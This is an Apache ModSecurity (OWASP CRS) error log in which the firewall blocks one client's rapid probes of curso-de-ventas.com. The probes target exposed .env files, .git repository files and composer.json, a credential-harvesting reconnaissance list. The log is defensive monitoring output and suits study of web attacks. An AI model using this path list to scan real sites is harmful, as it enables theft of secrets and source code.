[Mon Oct 26 22:39:38.899943 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auAO6hQzMRo5zrQE7iykcwAAAAQ"]
[Mon Oct 26 22:39:38.966779 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auAO6iOodMWIbKjvKGh78QAAABk"]
[Mon Oct 26 22:39:38.966940 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auAO6iOodMWIbKjvKGh78QAAABk"]
[Mon Oct 26 22:39:38.967172 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auAO6iOodMWIbKjvKGh78QAAABk"]
[Mon Oct 26 22:39:38.968062 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auAO6rtiWD9g5qPk3WNeQwAAAAc"]
[Mon Oct 26 22:39:38.968193 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auAO6rtiWD9g5qPk3WNeQwAAAAc"]
[Mon Oct 26 22:39:38.968413 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auAO6rtiWD9g5qPk3WNeQwAAAAc"]
[Mon Oct 26 22:39:38.969246 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auAO6lzBh5ooeihzFpChkAAAAAk"]
[Mon Oct 26 22:39:38.969378 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auAO6lzBh5ooeihzFpChkAAAAAk"]
[Mon Oct 26 22:39:38.969647 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auAO6lzBh5ooeihzFpChkAAAAAk"]
[Mon Oct 26 22:39:38.979399 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAO6vYA9VE6YOVz3TBNugAAABE"]
[Mon Oct 26 22:39:38.979537 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAO6vYA9VE6YOVz3TBNugAAABE"]
[Mon Oct 26 22:39:38.979794 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAO6vYA9VE6YOVz3TBNugAAABE"]
[Mon Oct 26 22:39:39.046906 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auAO61zBh5ooeihzFpChkQAAAAk"]
[Mon Oct 26 22:39:39.047051 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auAO61zBh5ooeihzFpChkQAAAAk"]
[Mon Oct 26 22:39:39.047280 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auAO61zBh5ooeihzFpChkQAAAAk"]
[Mon Oct 26 22:39:39.059624 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auAO688F3ZZVbqNCqKaAogAAAAo"]
[Mon Oct 26 22:39:39.059772 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auAO688F3ZZVbqNCqKaAogAAAAo"]
[Mon Oct 26 22:39:39.060008 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auAO688F3ZZVbqNCqKaAogAAAAo"]
[Mon Oct 26 22:39:39.064338 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNuwAAABE"]
[Mon Oct 26 22:39:39.064475 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNuwAAABE"]
[Mon Oct 26 22:39:39.064779 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNuwAAABE"]
[Mon Oct 26 22:39:39.087498 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "auAO60V4AUzwl86DWirnZgAAABI"]
[Mon Oct 26 22:39:39.087629 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "auAO60V4AUzwl86DWirnZgAAABI"]
[Mon Oct 26 22:39:39.087876 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "auAO60V4AUzwl86DWirnZgAAABI"]
[Mon Oct 26 22:39:39.144552 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme7gAAAAY"]
[Mon Oct 26 22:39:39.144744 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme7gAAAAY"]
[Mon Oct 26 22:39:39.144976 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme7gAAAAY"]
[Mon Oct 26 22:39:39.145919 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "auAO63fB5_cr2AuVp7R4HQAAABA"]
[Mon Oct 26 22:39:39.146047 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "auAO63fB5_cr2AuVp7R4HQAAABA"]
[Mon Oct 26 22:39:39.146263 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "auAO63fB5_cr2AuVp7R4HQAAABA"]
[Mon Oct 26 22:39:39.147105 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "auAO6xQzMRo5zrQE7iykdgAAAAQ"]
[Mon Oct 26 22:39:39.147242 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "auAO6xQzMRo5zrQE7iykdgAAAAQ"]
[Mon Oct 26 22:39:39.147455 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "auAO6xQzMRo5zrQE7iykdgAAAAQ"]
[Mon Oct 26 22:39:39.148296 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNvAAAABE"]
[Mon Oct 26 22:39:39.148445 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNvAAAABE"]
[Mon Oct 26 22:39:39.148659 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNvAAAABE"]
[Mon Oct 26 22:39:39.174394 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "auAO60V4AUzwl86DWirnZwAAABI"]
[Mon Oct 26 22:39:39.174643 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "auAO60V4AUzwl86DWirnZwAAABI"]
[Mon Oct 26 22:39:39.174975 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "auAO60V4AUzwl86DWirnZwAAABI"]
